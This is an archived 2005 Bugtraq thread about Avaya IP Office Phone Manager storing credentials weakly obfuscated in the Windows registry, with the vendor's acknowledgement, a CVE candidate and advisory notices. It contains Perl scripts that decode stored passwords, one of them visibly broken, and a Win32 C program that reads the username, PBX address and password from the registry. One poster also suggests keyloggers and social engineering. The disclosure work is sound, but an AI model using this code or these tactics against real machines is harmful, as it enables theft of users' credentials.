Likes Likes:  0
Resultaten 1 tot 4 van de 4
Geen
  1. #1
    grutz@jingojango.net
    Re: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability

    On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@richmond.ac.uk wrote:
    > I suspect there is a vulnerability in Avaya IP Office Phone Manager


    You suspect correctly.

    From some research we did with this product:

    http://www.avaya.com/gcm/master-usa/.../softphone.htm

    > [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
    > "UserName"="Joe Smith"
    > "Password"=""
    > "PBXAddress"="10.154.1.60"


    Our values were found in a different registry location but i'm willing to bet
    the obfuscation is the same. One method of attack is to simply place the stored
    password in your own registry and hit connect. It's only there because people
    are lazy and just want their phones to work. It's easily reversable:

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    #!/usr/bin/perl
    $avayapw=shift;

    my $pwlength = ord(substr($avayapw, 0, 1)) - 33;
    my $startpoint = ($pwlength * 7) % 55;

    print "Password length: $pwlength\n";
    print " Start position: $startpoint\n";

    print "\nYour password is: " . substr($avayapw, $startpoint, 1);
    my $byte = $startpoint;
    for ( my $a = 1; $a<$pwlength; $a++) {
    $nextbyte = $byte - 7;
    if ($nextbyte < 0) {
    $nextbyte = 55 - (7 - $byte);
    }
    $byte = $nextbyte;
    print substr($avayapw, $byte, 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    Shorter:

    #!/usr/bin/perl
    $a=shift;
    $l=ord(substr($a,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7)%55), 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    And something more fun:

    #!/usr/bin/perl

    use Win32::Registry;

    $::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey) or die "Can't open: $^E\n";
    $l=ord(substr($value,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7%55), 1);
    }




    --
    ..:[ grutz at jingojango dot net ]:..
    GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4
    "There's just no amusing way to say, 'I have a CISSP'."


  2. #2
    Walton, John Michael
    Re: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability

    Avaya is aware and currently investigating this issue. Once our
    investigation is complete we will release an Avaya Security Advisory to
    address the outlined concerns. In the interim, we've asked Mitre to
    assign a Common Vulnerability and Exposures (CVE) candidate number for
    this issue. They have assigned CAN-2005-0506:
    =20
    http://www.cve.mitre.org/cgi-bin/cve...DCAN-2005-0506

    Congruent with generally acceptable security practices, Avaya recommends
    that customers restrict remote and local access to their systems to
    reduce risks. Alternatively, customers may choose not to utilize the
    "Remember save password" feature in order to prevent a user's password
    from being stored in the Windows registry. =20

    Please note the Avaya Product Security Support Team (PSST) takes the
    security of Avaya products seriously. We would like to develop a
    relationship with our customers and the public to encourage them to
    forward vulnerabilities to us. Please send information regarding any
    discovered security problems with Avaya products to
    securityalerts[at]avaya.com. I, or someone on the PSST, will work
    directly to validate the problem and coordinate a response; including an
    acknowledgement for working with us to help protect customers.

    John Walton, CISSP
    Lead Security Engineer
    Product Security Support Team (PSST)
    Avaya, Inc.

    -----Original Message-----
    From: grutz@jingojango.net [mailto:grutz@jingojango.net]=20
    Sent: Tuesday, February 22, 2005 12:06 PM
    To: bugtraq@securityfocus.com
    Subject: Re: Avaya IP Office Phone Manager - Sensitive Information
    Cleartext Vulnerability

    On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@richmond.ac.uk wrote:
    > I suspect there is a vulnerability in Avaya IP Office Phone Manager


    You suspect correctly.

    From some research we did with this product:

    http://www.avaya.com/gcm/master-usa/.../softphone.htm

    > [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
    > "UserName"=3D"Joe Smith"
    > "Password"=3D""
    > "PBXAddress"=3D"10.154.1.60"


    Our values were found in a different registry location but i'm willing
    to bet
    the obfuscation is the same. One method of attack is to simply place the
    stored=20
    password in your own registry and hit connect. It's only there because
    people
    are lazy and just want their phones to work. It's easily reversable:

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    #!/usr/bin/perl
    $avayapw=3Dshift;

    my $pwlength =3D ord(substr($avayapw, 0, 1)) - 33;
    my $startpoint =3D ($pwlength * 7) % 55;

    print "Password length: $pwlength\n";
    print " Start position: $startpoint\n";

    print "\nYour password is: " . substr($avayapw, $startpoint, 1);
    my $byte =3D $startpoint;
    for ( my $a =3D 1; $a<$pwlength; $a++) {
    $nextbyte =3D $byte - 7;
    if ($nextbyte < 0) {
    $nextbyte =3D 55 - (7 - $byte);
    }
    $byte =3D $nextbyte;
    print substr($avayapw, $byte, 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    Shorter:

    #!/usr/bin/perl
    $a=3Dshift;
    $l=3Dord(substr($a,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7)%55), 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    And something more fun:

    #!/usr/bin/perl

    use Win32::Registry;

    $::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey)
    or die "Can't open: $^E\n";
    $l=3Dord(substr($value,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7%55), 1);
    }




    --=20
    ..:[ grutz at jingojango dot net ]:..
    GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4
    "There's just no amusing way to say, 'I have a CISSP'."


  3. #3
    PASTOR ADRIAN
    Re: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability



    In my case the key is stored under HKEY_LOCAL_MACHINE

    Also, please let's remember that even in the case that the key was =
    stored under HKEY_CURRENT_USER , sensitive information should NEVER be =
    cleartext since an attacker could gain administrative privileges to a =
    single host or even entire Windows network.

    It only takes an ERD (Emergency Repair Disk) such as CHNTPW, a good =
    keylogger such as Keykey and a little bit of social engineering (to make =
    the admin login on the machine where the keylogger is running) to grab =
    the administrator's password and gain total control of a host or entire =
    network in the case that domain authentication was used =
    (DOMAIN\USERNAME)

    Here is an exploit written in Win32/C with some comments:

    8<-----------------------------------------------------------------------=
    -----------------

    #include <windows.h>
    #include <stdio.h>
    #include <string.h>

    /*
    Filename: exploit.c
    Title: Avaya IP Office Phone Manager - Cleartext Sensitive Data =
    Vulnerability Exploit v0.01
    Author: pagvac (Adrian Pastor)
    Date: 24th Feb, 2005
    Other info: tested on version 2.013. Compile as a Win32 console =
    application project in Visual C++
    */

    =09

    BOOL QueryVal(char lszVal2Query[255], char lszValData[255])
    {
    char lszResult[255];
    HKEY hKey;
    LONG returnStatus;
    DWORD dwType=3DREG_SZ;
    DWORD dwSize=3D255;
    returnStatus =3D RegOpenKeyEx(HKEY_LOCAL_MACHINE, =
    "SOFTWARE\\AVAYA\\IP400\\GENERIC", 0L, KEY_READ, &hKey);
    =20
    if (returnStatus =3D=3D ERROR_SUCCESS)
    {
    returnStatus =3D RegQueryValueEx(hKey, lszVal2Query, NULL, =
    &dwType,(LPBYTE)&lszResult, &dwSize);
    if (returnStatus =3D=3D ERROR_SUCCESS)
    {
    strcpy(lszValData, lszResult);
    }
    RegCloseKey(hKey);
    return TRUE;
    }
    else
    {
    RegCloseKey(hKey);
    return FALSE;
    }=09
    }



    void main()
    {
    char valData[255];

    printf("\nAvaya IP Office Phone Manager - Cleartext Sensitive Data =
    Vulnerability Exploit\n");
    printf("By pagvac (Adrian Pastor)\n");
    printf("Tested on version 2.013\n\n");
    =09
    // Print username
    printf("Username:\t");
    if(!QueryVal("UserName", valData))
    printf("Error! No permissions to read key value?\n");
    else
    printf("%s\n", valData);
    =09
    // Print IP address
    printf("PBX IP Address:\t");
    if(!QueryVal("PBXAddress", valData))
    printf("Error! No permissions to read key value?\n");
    else
    printf("%s\n", valData);

    // Print password
    printf("Password:\t");
    if(!QueryVal("Password", valData))
    printf("Error! No permissions to read key value?\n");
    else
    {
    =09
    if(strcmp(valData, "")=3D=3D0)
    printf("[blank password]\n\n");
    else
    {
    printf("%s\n", valData);
    printf("Password obsfucated?\n\n");
    }
    }

    }

    -------------------------------------------------------------------------=
    --------------->8


    Regards,
    pagvac (Adrian Pastor)

    -----Original Message-----
    From: Walton, John Michael (John) [mailto:jmwalton@avaya.com]
    Sent: Thu 2/24/2005 12:16 AM
    To: grutz@jingojango.net; bugtraq@securityfocus.com; PASTOR ADRIAN
    Subject: RE: Avaya IP Office Phone Manager - Sensitive Information =
    Cleartext Vulnerability
    =20
    Avaya is aware and currently investigating this issue. Once our
    investigation is complete we will release an Avaya Security Advisory to
    address the outlined concerns. In the interim, we've asked Mitre to
    assign a Common Vulnerability and Exposures (CVE) candidate number for
    this issue. They have assigned CAN-2005-0506:
    =20
    http://www.cve.mitre.org/cgi-bin/cve...DCAN-2005-0506

    Congruent with generally acceptable security practices, Avaya recommends
    that customers restrict remote and local access to their systems to
    reduce risks. Alternatively, customers may choose not to utilize the
    "Remember save password" feature in order to prevent a user's password
    from being stored in the Windows registry. =20

    Please note the Avaya Product Security Support Team (PSST) takes the
    security of Avaya products seriously. We would like to develop a
    relationship with our customers and the public to encourage them to
    forward vulnerabilities to us. Please send information regarding any
    discovered security problems with Avaya products to
    securityalerts[at]avaya.com. I, or someone on the PSST, will work
    directly to validate the problem and coordinate a response; including an
    acknowledgement for working with us to help protect customers.

    John Walton, CISSP
    Lead Security Engineer
    Product Security Support Team (PSST)
    Avaya, Inc.

    -----Original Message-----
    From: grutz@jingojango.net [mailto:grutz@jingojango.net]=20
    Sent: Tuesday, February 22, 2005 12:06 PM
    To: bugtraq@securityfocus.com
    Subject: Re: Avaya IP Office Phone Manager - Sensitive Information
    Cleartext Vulnerability

    On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@richmond.ac.uk wrote:
    > I suspect there is a vulnerability in Avaya IP Office Phone Manager


    You suspect correctly.

    From some research we did with this product:

    http://www.avaya.com/gcm/master-usa/.../softphone.htm

    > [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
    > "UserName"=3D"Joe Smith"
    > "Password"=3D""
    > "PBXAddress"=3D"10.154.1.60"


    Our values were found in a different registry location but i'm willing
    to bet
    the obfuscation is the same. One method of attack is to simply place the
    stored=20
    password in your own registry and hit connect. It's only there because
    people
    are lazy and just want their phones to work. It's easily reversable:

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    #!/usr/bin/perl
    $avayapw=3Dshift;

    my $pwlength =3D ord(substr($avayapw, 0, 1)) - 33;
    my $startpoint =3D ($pwlength * 7) % 55;

    print "Password length: $pwlength\n";
    print " Start position: $startpoint\n";

    print "\nYour password is: " . substr($avayapw, $startpoint, 1);
    my $byte =3D $startpoint;
    for ( my $a =3D 1; $a<$pwlength; $a++) {
    $nextbyte =3D $byte - 7;
    if ($nextbyte < 0) {
    $nextbyte =3D 55 - (7 - $byte);
    }
    $byte =3D $nextbyte;
    print substr($avayapw, $byte, 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    Shorter:

    #!/usr/bin/perl
    $a=3Dshift;
    $l=3Dord(substr($a,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7)%55), 1);
    }

    ----- 8< --- [ snippy snippy bad code ] --- >8 ----

    And something more fun:

    #!/usr/bin/perl

    use Win32::Registry;

    $::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey)
    or die "Can't open: $^E\n";
    $l=3Dord(substr($value,0,1))-33;
    for $c ( 1 .. $l ) {
    print substr($a, (((($l-$c)+1)*7%55), 1);
    }




    --=20
    ..:[ grutz at jingojango dot net ]:..
    GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4
    "There's just no amusing way to say, 'I have a CISSP'."



  4. #4
    Walton, John Michael
    Re: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability

    Avaya has finished our investigation of this issue and an Avaya Security
    Advisory, ASA-2005-041, has been released. The advisory can be obtained
    from:

    http://support.avaya.com/security =20

    or directly from:

    http://support.avaya.com/elmodocs2/s...ensitive_Info_
    Leak.pdf=20

    We expect that this advisory will be updated with available patches or
    timeframes in the future.

    For reference, links to Avaya's Vulnerability Classification system and
    Avaya's Vulnerability Response Policy are below:=20
    http://support.avaya.com/elmodocs2/s...rability_class
    ification.pdf

    http://support.avaya.com/elmodocs2/s...rability_respo
    nse.pdf

    (URL may be wrapped)

    -John Walton, CISSP
    Lead Security Engineer
    Product Security Support Team (PSST)
    Avaya, Inc.=20

    -----Original Message-----
    From: Walton, John Michael (John)=20
    Sent: Wednesday, February 23, 2005 5:17 PM
    To: grutz@jingojango.net; bugtraq@securityfocus.com;
    m123303@richmond.ac.uk
    Subject: RE: Avaya IP Office Phone Manager - Sensitive Information
    Cleartext Vulnerability

    Avaya is aware and currently investigating this issue. Once our
    investigation is complete we will release an Avaya Security Advisory to
    address the outlined concerns. In the interim, we've asked Mitre to
    assign a Common Vulnerability and Exposures (CVE) candidate number for
    this issue. They have assigned CAN-2005-0506:
    =20
    http://www.cve.mitre.org/cgi-bin/cve...DCAN-2005-0506

    Congruent with generally acceptable security practices, Avaya recommends
    that customers restrict remote and local access to their systems to
    reduce risks. Alternatively, customers may choose not to utilize the
    "Remember save password" feature in order to prevent a user's password
    from being stored in the Windows registry. =20

    Please note the Avaya Product Security Support Team (PSST) takes the
    security of Avaya products seriously. We would like to develop a
    relationship with our customers and the public to encourage them to
    forward vulnerabilities to us. Please send information regarding any
    discovered security problems with Avaya products to
    securityalerts[at]avaya.com. I, or someone on the PSST, will work
    directly to validate the problem and coordinate a response; including an
    acknowledgement for working with us to help protect customers.

    John Walton, CISSP
    Lead Security Engineer
    Product Security Support Team (PSST)
    Avaya, Inc.


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics